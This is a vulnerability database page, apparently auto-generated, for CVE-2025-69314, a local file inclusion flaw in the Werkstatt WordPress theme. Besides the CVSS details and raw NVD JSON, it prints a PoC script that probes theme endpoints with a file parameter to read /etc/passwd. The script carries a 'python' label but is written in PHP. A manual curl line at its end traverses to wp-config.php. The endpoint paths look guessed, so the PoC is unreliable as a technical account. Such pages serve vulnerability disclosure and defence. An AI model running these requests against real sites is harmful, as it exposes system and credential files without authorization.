Security Vulnerability Report
中文
CVE-2025-69314 CVSS 8.1 HIGH

CVE-2025-69314

Published: 2026-01-22 17:16:27
Last Modified: 2026-04-15 00:35:42

Description

Improper Control of Filename for Include/Require Statement in PHP Program ('PHP Remote File Inclusion') vulnerability in fuelthemes Werkstatt werkstatt allows PHP Local File Inclusion.This issue affects Werkstatt: from n/a through < 4.8.3.

CVSS Details

CVSS Score
8.1
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

No configuration data available.

Werkstatt WordPress主题 < 4.8.3

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
<?php /** * CVE-2025-69314 PoC - Werkstatt Theme Local File Inclusion * Usage: php poc.php <target_url> <file_path> * Example: php poc.php http://target.com /etc/passwd */ if ($argc < 3) { echo "Usage: php poc.php <target_url> <file_path>\n"; exit(1); } $targetUrl = rtrim($argv[1], '/'); $filePath = $argv[2]; // Common vulnerable endpoints in Werkstatt theme $vulnerableEndpoints = [ '/wp-content/themes/werkstatt/functions.php', '/wp-content/themes/werkstatt/lib/custom.php', '/wp-content/themes/werkstatt/framework-customizations/extensions/custom-handler.php' ]; echo "[*] CVE-2025-69314 PoC - Werkstatt LFI\n"; echo "[*] Target: {$targetUrl}\n"; echo "[*] File to include: {$filePath}\n\n"; foreach ($vulnerableEndpoints as $endpoint) { $url = $targetUrl . $endpoint . '?file=' . urlencode($filePath); echo "[*] Testing: {$url}\n"; $ch = curl_init(); curl_setopt($ch, CURLOPT_URL, $url); curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true); curl_setopt($ch, CURLOPT_TIMEOUT, 30); curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false); $response = curl_exec($ch); $httpCode = curl_getinfo($ch, CURLINFO_HTTP_CODE); curl_close($ch); if ($httpCode == 200 && !empty($response)) { echo "[!] Potential vulnerability found at: {$endpoint}\n"; echo "[*] Response preview:\n"; echo substr($response, 0, 500) . "\n\n"; } } echo "[*] Scan complete.\n"; echo "\n[*] Manual verification:\n"; echo "curl '{$targetUrl}/wp-content/themes/werkstatt/[path]?file=../../wp-config.php'\n";

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-69314", "sourceIdentifier": "[email protected]", "published": "2026-01-22T17:16:27.087", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "Improper Control of Filename for Include/Require Statement in PHP Program ('PHP Remote File Inclusion') vulnerability in fuelthemes Werkstatt werkstatt allows PHP Local File Inclusion.This issue affects Werkstatt: from n/a through < 4.8.3."}, {"lang": "es", "value": "Control inadecuado del nombre de fichero para la declaración include/require en un programa PHP (vulnerabilidad de 'Inclusión Remota de Ficheros PHP') en fuelthemes Werkstatt werkstatt permite la Inclusión Local de Ficheros PHP. Este problema afecta a Werkstatt: desde n/a hasta &lt; 4.8.3."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H", "baseScore": 8.1, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "HIGH", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.2, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-98"}]}], "references": [{"url": "https://patchstack.com/database/Wordpress/Theme/werkstatt/vulnerability/wordpress-werkstatt-theme-4-8-3-local-file-inclusion-vulnerability?_s_id=cve", "source": "[email protected]"}]}}